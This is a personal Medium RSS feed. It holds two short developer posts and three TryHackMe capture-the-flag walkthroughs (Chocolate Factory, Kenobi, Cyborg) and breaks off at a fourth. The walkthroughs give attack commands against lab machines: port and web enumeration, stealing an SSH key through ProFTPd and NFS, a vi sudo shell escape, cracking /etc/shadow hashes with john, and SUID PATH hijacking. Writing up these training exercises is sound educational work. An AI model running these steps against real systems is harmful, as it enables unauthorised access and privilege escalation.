<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by kenken17 on Medium]]></title>
        <description><![CDATA[Stories by kenken17 on Medium]]></description>
        <link>https://medium.com/@kenken17?source=rss-ba4fd956c54e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*f4xalpCPQGxdztsM.jpg</url>
            <title>Stories by kenken17 on Medium</title>
            <link>https://medium.com/@kenken17?source=rss-ba4fd956c54e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 05:35:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kenken17/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Trying Gemini free tier on Avante.nvim]]></title>
            <link>https://kenken17.medium.com/trying-gemini-free-tier-on-avante-nvim-9c7bfb409af7?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c7bfb409af7</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[vim]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 01:14:34 GMT</pubDate>
            <atom:updated>2026-02-22T01:14:34.602Z</atom:updated>
            <content:encoded><![CDATA[<p>If you have yet to try <a href="https://github.com/yetone/avante.nvim">Avante.nvim</a>, you can give it a try. I was using it on OpenAI API, found out Ihave finished my budget. Looking to try out <strong>Gemini 2.5 Pro</strong>, but hit quota exceed! I have not started making request, how could I exceed quota?</p><p>Found out the free tier is only available for model <em>Gemini 2.5 Flash / Lite</em>.</p><figure><img alt="Look at the RPD (request per day)" src="https://cdn-images-1.medium.com/max/1024/1*JGPjqMAdcEZuqJ9d4qMVfA.png" /></figure><p>Wonder 20 RPD is enough to test out anything at all… <em>maybe not</em>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c7bfb409af7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VPN, VPN, VPN…]]></title>
            <link>https://kenken17.medium.com/vpn-vpn-vpn-6e86bcc071d7?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e86bcc071d7</guid>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 01:12:42 GMT</pubDate>
            <atom:updated>2025-09-03T01:13:34.092Z</atom:updated>
            <content:encoded><![CDATA[<p>Something that is super simple like running a docker container locally and access in the browser then cant reach no matter what? Yup VPN. It has been a few times tripped by this, just turn the VPN off. Document down for the sake of it.</p><p>There could be other issues too…</p><p><strong># Container process is not listening on `0.0.0.0` inside container. Check:</strong></p><pre>docker exec -it &lt;container_id&gt; netstat -tlnp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qtVJe6PQzgQZeXl4We-elQ.png" /><figcaption>Listening to 0.0.0.0</figcaption></figure><p><strong># Port mapping is missing in Docker. Check:</strong></p><pre>docker ps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Try2zqgGZBpCZDssSkb45A.png" /><figcaption>Mapping correctly</figcaption></figure><p><strong># Firewall / iptables blocking. Check:</strong></p><pre>sudo ufw status</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o8147-aKYs_66u2ECNFPyA.png" /><figcaption>Do not have firewall</figcaption></figure><p># Network interface check</p><pre>sudo ss -tlnp | grep 8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ooSuwO3Ip2azejXmR-uqXQ.png" /><figcaption>Docker proxy binding on 0.0.0.0:8000 (the host side)</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e86bcc071d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Chocolate Factory]]></title>
            <link>https://kenken17.medium.com/thm-chocolate-factory-9e4c2e127b37?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e4c2e127b37</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[thm]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Sun, 31 Jan 2021 17:57:52 GMT</pubDate>
            <atom:updated>2021-01-31T17:57:52.491Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/chocolatefactory">Chocolate Factory</a>, a relatively new room for capture the flag. Let’s deploy!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nY4NBZFytax3tOJMi-VJbw.png" /></figure><p>After deployed, I again set an enviroment <strong>TARGET</strong> for target box so it saves some memory of my mind.</p><p><strong>$ export TARGET=10.10.172.75</strong></p><h3>Introduction</h3><h4>#Deploy the machine!</h4><p><strong>answer: No answer needed</strong></p><h3>Challenges</h3><h4>#Enter the key you found!</h4><p><strong>answer: [NO SPOILER]</strong></p><p><strong>nmap</strong> kicking off!</p><p><strong>$ nmap -sV -sC $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*gDuAyUfhkCUlBYtAemZhbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvIELeF5I6P-b3MwKedxlA.png" /></figure><p>Among the ports, one stood out (<strong>113</strong>)! It said:</p><blockquote>|_ http://localhost/key_rev_key &lt;- You will find the key here!!!</blockquote><p>So I tried to hit the url <a href="http://10.10.172.75:113/key_rev_key,">http://10.10.172.75/key_rev_key,</a> and it downloaded a file.</p><p>When i run <strong>cat</strong> on the file, it showed me some buffers, so I ran <strong>strings</strong> on it to try printable characters.</p><p><strong>$ strings key_rev_key</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgNR0cKNj76WXA8epYGVTA.png" /><figcaption>Found both the username and key!</figcaption></figure><h4>#What is Charlie’s password?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Saw the port <strong>80</strong> is opened. So I try to run <strong>ffuf</strong> on it.</p><p><strong>$ ffuf -v -c -recursion -t 64 -e $EXTS -w $W_COMMON -u </strong><a href="http://$target/FUZZ"><strong>http://$TARGET/FUZZ</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*LJQEOt-7-ufSORv8W-ckMA.png" /></figure><p>Found the <strong>home.php</strong> and <strong>index.html</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q68Kr3GPGlUqCQ3DTkQDVw.png" /><figcaption>home.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hPURmq29Ty6q_y2OcII9JQ.png" /><figcaption>index.html</figcaption></figure><p>Looks like <strong>home.php</strong> is more interesting, since I can run command on it!</p><p>I tried a few commands, found out listing of the home very fruitful!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgTDgOC-Y1--jZlbAsEyHA.png" /></figure><p><strong>teleport</strong> and <strong>teleport.pub</strong> (ssh) is readable by everyone?! So i <strong>cat</strong> it out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i5LMU-rAxO5R9RrY10bMzQ.png" /></figure><p>And make it into <strong>id_rsa</strong> file, <strong>chmod</strong> to <strong>600</strong> and login all the way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRXkzrqXoqOTYsVvA_79xw.png" /></figure><h4><strong>#Enter the user flag</strong></h4><p><strong>answer: [NO SPOILER]</strong></p><p>Since we already knew the <strong>user.txt</strong> is on <strong>/home/charlie</strong>, it’s just a <strong>cat</strong> away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*jCTBEzsizCCUgFqcoHyh2w.png" /></figure><h4>#Enter the root flag</h4><p><strong>answer: [NO SPOLIER]</strong></p><p>I tried to check my sudo permission</p><p><strong>$ sudo -l</strong></p><p>and found out I have <strong>vi</strong> permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iAYasegrGvbzeiSUm8dRrQ.png" /></figure><p>After going in vi, I run <strong>: + sh</strong> to ge the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KpBNnjEM0DgbBjguK9NfyA.png" /></figure><p>Checked the <strong>/root</strong> folder found out there is a pyhton file <strong>root.py</strong>, tried to run it and put in the key found above, and Bingo!</p><p>Till now we still not yet know charlie’s password!</p><p>Since I am root, I get the hash from <strong>/etc/shadow</strong> and creata a local file <strong>shadow.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Bofcdn3DpmJKRZobORKbA.png" /></figure><p>And ran through <strong>john</strong>:</p><p><strong>$ john shadow</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AbQeHhmuNU4LsJkFE7LsUA.png" /></figure><p>Looking at the password input. The format is <strong>XXXXXX</strong> (input text box), it has 6 characters! But <strong>john</strong> found <strong>2232</strong>, which has only 4?!!</p><p>I have spent sometimes looking around ended peeping the given writeup. It was the web login password it was asking!</p><p>So I ran a cat on the <strong>validate.php</strong> file and got the answer~</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*4xpgjU-uP2JdePjzo_JQ2w.png" /><figcaption>lame~</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e4c2e127b37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Kenobi]]></title>
            <link>https://kenken17.medium.com/thm-kenobi-c3a0494d4d47?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3a0494d4d47</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Thu, 28 Jan 2021 16:14:56 GMT</pubDate>
            <atom:updated>2021-01-28T16:14:56.126Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/kenobi">Kenobi</a>, a beginner room for Linux exploitation. Let’s deploy and crack it!</p><p>After deployed, I again set an enviroment <strong>TARGET</strong> for target box so it saves some memory of my mind.</p><p><strong>$ export TARGET=10.10.73.220</strong></p><h3>Deploy the vulnerable machine</h3><h4>#Make sure you’re connected to our network and deploy the machine</h4><p><strong>answer: No answer needed</strong></p><h4>#Scan the machine with nmap, how many ports are open?</h4><p><strong>answer: 7</strong></p><p>Kick off the room with <strong>nmap</strong> scanning.</p><p><strong>$ nmap -sV -sC $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMkHDB2G6_tIm5Qp1utz1A.png" /><figcaption>7 open ports</figcaption></figure><h3>Enumerating Samba for shares</h3><h4>#Using the nmap command above, how many shares have been found?</h4><p><strong>answer: 3</strong></p><p>The information given in the section told us to run:</p><p><strong>$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-AlQtDebK8nriyoxN87Xw.png" /><figcaption>Found 3 shares</figcaption></figure><h4>#Once you’re connected, list the files on the share. What is the file can you see?</h4><p><strong>answer: log.txt</strong></p><p>Once we got to know <strong>anonymous</strong> being shared. We can just login without any password via <strong>smbclient</strong>:</p><p><strong>smbclient //$TARGET/anonymous</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*uGAXSOwHCVqWZzda-Vl5Iw.png" /><figcaption>Got the text file</figcaption></figure><p>We can then download all the files locally without password by:</p><p><strong>smbget -R smb://$TARGET/anonymous</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*tmp3zDrYSiSfNkP8nuZ6OA.png" /><figcaption>log.txt</figcaption></figure><h4>#What port is FTP running on?</h4><p><strong>answer: 21</strong></p><p>From the nmap result above, we know FTP port is <strong>21</strong>.</p><h4>#What mount can we see?</h4><p><strong>answer: /var</strong></p><p>By reading the section, we have information on how to get the mounts info:</p><p><strong>$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eL8XfshbEISe_ILoQLa13w.png" /></figure><h3>Gain initial access with ProFtpd</h3><h4>#What is the version?</h4><p><strong>answer: 1.3.5</strong></p><p>By looking at the nmap result above, we have the version for <strong>FTP</strong>.</p><h4>#How many exploits are there for the ProFTPd running?</h4><p><strong>answer: 3</strong></p><p>By using searchsploit, we can see that version <strong>1.3.5</strong> has at least <strong>3</strong> exploits.</p><p><strong>$ searchsploit 1.3.5 ftpd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1OwKBVYOuqfLFnmr-hIe6w.png" /></figure><h4>#We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.</h4><p><strong>answer: No answer needed</strong></p><p>From the <strong>log.txt</strong> file we downloaded, we actually saw that username <strong>kenobi</strong> has the <strong>SSH</strong> key generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*XAgPX3jXkGpI0YZbbtoxVw.png" /><figcaption>username kenobi</figcaption></figure><h4>#We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.</h4><p><strong>answer: No answer needed</strong></p><h4>#What is Kenobi’s user flag (/home/kenobi/user.txt)?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>In order to get the user flag, via <strong>SSH</strong>, there are a few steps need to take:</p><ol><li>do a netcat (<strong>nc</strong>) to the target machine</li><li>copy the <strong>id_rsa</strong> to a mountable folder, i.e. <strong>/var/tmp</strong></li><li>mount the network folder locally &amp; win</li></ol><p><strong>$ nc $TARGET 21</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*krke_F5r_gl57izls-nsXQ.png" /><figcaption>nc and copy the id_rsa to /var/tmp</figcaption></figure><p><strong>$ sudo mkdir /mnt/kenobiNFS</strong></p><p><strong>$ sudo mount $TAGRET:/var /mnt/kenobiNFS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7eTVxqnvVc-KmLoagzVE3A.png" /><figcaption>bad option?</figcaption></figure><p>If you hit issue like me above, you can try install the <strong>nfs-common</strong> that inlcudes the <strong>/sbin/mount.nfs</strong> helper program, and re-run the command above.</p><p>Then you can navigate to <strong>/mnt/kenobiNFS</strong> for <strong>id_rsa.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJXkYNY0Eqa00x632-G3TA.png" /></figure><p>Copy it to our local folder then <strong>chmod</strong> the <strong>id_rsa</strong> to <strong>600</strong> so we can login to the <strong>SSH</strong>.</p><p><strong>$ cp id_rsa ~/room/kenobi</strong></p><p><strong>$ cd ~/room/kenobi</strong></p><p><strong>$ chmod 600 id_rsa</strong></p><p><strong>$ ssh -i id_rsa kenobi@$TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4QlewfxfGJYFTkirAAfYSQ.png" /><figcaption>We got the flag!</figcaption></figure><h3>Privilege Escalation with Path Variable Manipulation</h3><h4>#What file looks particularly out of the ordinary?</h4><p><strong>answer: /usr/bin/menu</strong></p><p>Follow the information in the section and run the <strong>find</strong> command to look for <strong>SUID</strong> files in the system.</p><p><strong>$ find / -perm -u=s -type f 2&gt;/dev/null</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*_5hCbcmZfxLbA9o6GBA9rA.png" /><figcaption>what is <strong>/usr/bin/menu</strong> ?</figcaption></figure><h4>#Run the binary, how many options appear?</h4><p><strong>answer: 3</strong></p><p>What is this <strong>menu</strong> file? Just run and check it out:</p><p><strong>$ /usr/bin/menu</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*XvGmLtDu0EOT4qbM_AENcg.png" /><figcaption>3 options</figcaption></figure><h4>#We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Let’s try out what it does for each options:</p><p>Option 1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*nQbAhmapIW0pjlrbb2KZDQ.png" /></figure><blockquote>HTTP/1.1 200 OK<br>Date: Thu, 28 Jan 2021 15:53:24 GMT<br>Server: Apache/2.4.18 (Ubuntu)<br>Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT<br>ETag: “c8–591b6884b6ed2”<br>Accept-Ranges: bytes<br>Content-Length: 200<br>Vary: Accept-Encoding<br>Content-Type: text/html</blockquote><p>Option 2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*8vDBv0ASOtUWzOG88Gs8Mg.png" /></figure><blockquote>4.8.0–58-generic</blockquote><p>Option 3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGuZEN3FaDXfyVSdUPL7Hw.png" /></figure><blockquote>eth0 Link encap:Ethernet HWaddr 02:d9:45:27:ca:35<br> inet addr:10.10.73.220 Bcast:10.10.255.255 Mask:255.255.0.0<br> inet6 addr: fe80::d9:45ff:fe27:ca35/64 Scope:Link<br> UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1<br> RX packets:7323 errors:0 dropped:0 overruns:0 frame:0<br> TX packets:6695 errors:0 dropped:0 overruns:0 carrier:0<br> collisions:0 txqueuelen:1000<br> RX bytes:585993 (585.9 KB) TX bytes:697831 (697.8 KB)</blockquote><blockquote>lo Link encap:Local Loopback<br> inet addr:127.0.0.1 Mask:255.0.0.0<br> inet6 addr: ::1/128 Scope:Host<br> UP LOOPBACK RUNNING MTU:65536 Metric:1<br> RX packets:246 errors:0 dropped:0 overruns:0 frame:0<br> TX packets:246 errors:0 dropped:0 overruns:0 carrier:0<br> collisions:0 txqueuelen:1<br> RX bytes:18383 (18.3 KB) TX bytes:18383 (18.3 KB)</blockquote><p>From the three options above, we can guess that this <strong>menu</strong> programe is running some <strong>curl</strong>, <strong>uname and ifconifg</strong> commands. So we will run <strong>strings</strong> on it and check how it calls those commands.</p><p><strong>$ strings /usr/bin/menu</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*F6DxtsqUHwKTv1o5Fqw5zA.png" /></figure><p>It’s running the <strong>curl</strong>, <strong>uname</strong> and <strong>ifconfig</strong> without the full path, i.e. <strong>/usr/bin/curl</strong>, <strong>/bin/uname</strong>, <strong>/sbin/ifconfig</strong>. As these file are running as the root user privileges, we can manipulate our <strong>path</strong> to gain a root shell.</p><p>Let’s append the <strong>/tmp</strong> folder to the our <strong>PATH</strong>:</p><p><strong>$ export PATH=/tmp:$PATH</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mJuHmeQnefBc-j8sDr6jng.png" /><figcaption>Since the /tmp is in front, it will first run in this folder for all executable programmes</figcaption></figure><p>Now we can fake the uname command and set it to be executable:</p><p><strong>$ cat /etc/shells</strong></p><p>Check what shell I can use.</p><p><strong>$ echo /bin/sh &gt; /tmp/uname</strong></p><p>Fake the <strong>uname</strong> programme.</p><p><strong>$ chmod +x /tmp/uname</strong></p><p>Make it executable.</p><p>$ /usr/bin/menu</p><p>Run the <strong>menu</strong> programmer and choose option <strong>2</strong> and got the root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KyScaequI-xUHdQp_pLx8A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3a0494d4d47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Cyborg]]></title>
            <link>https://kenken17.medium.com/thm-cyborg-ffe395ce2520?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffe395ce2520</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[thm]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Tue, 26 Jan 2021 17:05:30 GMT</pubDate>
            <atom:updated>2021-01-26T17:05:30.944Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/cyborgt8">Cyborg</a>, a new box is up! Let’s <strong>Deploy</strong> and get working!</p><p>After deployed, I again set an enviroment <strong>TARGET</strong> for target box so it saves some memory of my mind.</p><p><strong>$ export TARGET=10.10.1.184</strong></p><h3>Deploy the machine</h3><h4>#Deploy the machine</h4><p><strong>answer: No answer needed</strong></p><h3>Compromise the System</h3><h4>#Scan the machine, how many ports are open?</h4><p><strong>answer: 2</strong></p><p>As usual, kick off with <strong>nmap</strong>.</p><p><strong>$ nmap -sV -sC $TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lz_30lkWJZ05hLNVTHNug.png" /></figure><h4>#What service is running on port 22?</h4><p><strong>answer: SSH</strong></p><p>As above image shown, port 22 for <strong>SSH</strong>.</p><h4>#What service is running on port 80?</h4><p><strong>answer: HTTP</strong></p><p>And port 80 for <strong>HTTP</strong>.</p><h4>#What is the user.txt flag?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>Since we have port 80 open, I fire up <strong>ffuf</strong>.</p><p><strong>$ ffuf -c -recursion -t -64 -w &quot;$W_COMMON&quot; -u </strong><a href="http://$target/FUZZ"><strong>http://$TARGET/FUZZ</strong></a></p><p>Environment variable of $W_COMMON is pointing to <strong>/usr/share/wordlists/dirb/common.txt</strong>, which should came with Kali/Parrot OS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ph9PLkWflW0_Lqq5ejJ9Yw.png" /><figcaption>Found admin/ and etc/</figcaption></figure><p>Tried <strong>http://10.10.1.184/etc</strong>, found below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*Y0tWFHFfDSryFhMaRi1GNw.png" /></figure><p>Further in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*LTBS08y-ALCp1st1n0yTwA.png" /></figure><p>Opened up the passwd file, saw:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*jtSWY1w53mo8XF1kPm0TSw.png" /></figure><blockquote>music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.</blockquote><p>Then I download the file and tried to run <strong>John</strong> on it, I got a password!</p><p><strong>$ john --wordlist=$W_PASSWORD passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pA75S-t54oDci36UBPkGng.png" /></figure><p>So far I dont know what is the password for, so I continue searching. I opened up the site for <strong>http://10.10.1.184/admin</strong> and found a page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQNk5uwAAzp0Qtl_t-YbbA.png" /></figure><p>After reading the contents of the page. we know the user is Alex, So i went on to try on <strong>SSH</strong> but with no luck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_N4VeP9qr-TeB54bdy0pPg.png" /><figcaption>Nah~</figcaption></figure><p>I continue combing the site and hit <strong>http://10.10.1.184/admin/admin.html</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UycF0s4soQqxyEC6xyuVzg.png" /></figure><p>Looks like the user has messed up the squid proxy. And I continue combing…</p><p>There is a menu Archive &gt; Download, I clicked on it and downloaded an <strong>archive.tar</strong> file. So I open it up with <strong>tar</strong>.</p><p><strong>$ tar -xvf archive.tar</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBYFuAcSqsK9ogGstPG2Ew.png" /></figure><p>After the tar extract, I open up allindividual file for inspection. And the <strong>README</strong> file showed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fgl5Kxmy2rKHwOmTUnjopw.png" /></figure><blockquote>This is a Borg Backup repository.<br>See <a href="https://borgbackup.readthedocs.io/">https://borgbackup.readthedocs.io/</a></blockquote><p>So, now I know it is a backup archive from Alex, using a software called <strong>Borg</strong>. Let follow the link in the file. <a href="https://borgbackup.readthedocs.io/en/stable/">https://borgbackup.readthedocs.io/en/stable/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W16GihXzGkd1ne42tZGEdA.png" /></figure><p>I have spent some times reading the documentation. Tried download the software and restored the archive.</p><p>By following the installation guide, I landed on the release page <a href="https://github.com/borgbackup/borg/releases">https://github.com/borgbackup/borg/releases</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZrOC_Goub8-NtSkTpy5lMQ.png" /><figcaption>Donwload the linux64 distribution</figcaption></figure><p>I rename the file to just <strong>borg</strong> and change it to be an executable.</p><p><strong>$ mv borg-linux64 borg</strong></p><p><strong>$ chmod +x borg</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OmhLCccwM2AGlgLcy4U-sw.png" /></figure><p>In order to know more about the program i combed the documentation about the usage. So the <strong>list</strong> command verified my assumption that the archive is indeed a borg backup! It asked for a passphrase and I povided the one I got from <strong>John</strong>.</p><p><strong>$ ./borg list ./home/field/dev/final_archive</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oudsXgtD6U5MaJg0wpCHyA.png" /></figure><p>Then I try restore it according to the documentation at: <a href="https://borgbackup.readthedocs.io/en/stable/quickstart.html#restoring-a-backup">https://borgbackup.readthedocs.io/en/stable/quickstart.html#restoring-a-backup</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iPbBmv29k3qGTjTY9RbhnQ.png" /></figure><p><strong>$ mkdir borg_restore</strong></p><p><strong>$ cd borg_restore</strong></p><p><strong>$ ../borg extract ../home/field/dev/final_archive::music_archive</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zpq3HimbL0iJXSU3Schuyw.png" /></figure><p>Success! We extracted out the home folder of Alex and I slowly combed through the folders and sub-folders. Started with <strong>Desktop/</strong>, found a <strong>secret.txt</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgGUSabMbovqDygyMfqgxw.png" /></figure><blockquote>shoutout to all the people who have gotten to this stage whoop whoop!”</blockquote><p>Meh~ Nothing in it. Continue combed through <strong>Documents/</strong>, Found a <strong>note.txt</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cIkCfyp90z9d2CnRP3ZunA.png" /><figcaption>Yeah password found!</figcaption></figure><p>Without further ado, I tried the password SSH again and logged in wiht no issue.</p><p><strong>$ ssh alex@$TARGET</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZqOZ8LczeczXJ-LuyZPRw.png" /><figcaption>We’ve got a shell!</figcaption></figure><p>First thing is to check the current directory. Found the user.txt and got a flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*aajrsq52ir5QSKvZ1OVBXg.png" /></figure><p>Then I try to dig the history of the alex and found out a script <strong>/etc/mp3backups/backup.sh </strong>that he has.</p><p><strong>$ history</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jpe30JT6KPEXMeejpdDu4A.png" /></figure><p>Go to the directory <strong>/etc/mp3bakcups/ </strong>and re run the history <strong>30</strong>.</p><p><strong>$ !30</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1-Pv5UQuUKM_AQUC_O4Hg.png" /><figcaption>I am root!</figcaption></figure><h4>#What is the root.txt flag?</h4><p><strong>answer: [NO SPOILER]</strong></p><p>I found out I am root! So i try to cat our the flag.</p><p><strong>$ cat /root/root.txt</strong></p><p>Though nothing happened! I Tried again, then hope to exit and regain. But saw the output (x2) only showed up once I exit root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*bNCubhK7OOGjL3fbuaT0Hw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffe395ce2520" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: John The Ripper]]></title>
            <link>https://kenken17.medium.com/thm-john-the-ripper-c9cf80030616?source=rss-ba4fd956c54e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9cf80030616</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[kenken17]]></dc:creator>
            <pubDate>Sun, 24 Jan 2021 07:23:22 GMT</pubDate>
            <atom:updated>2021-01-24T07:23:22.238Z</atom:updated>
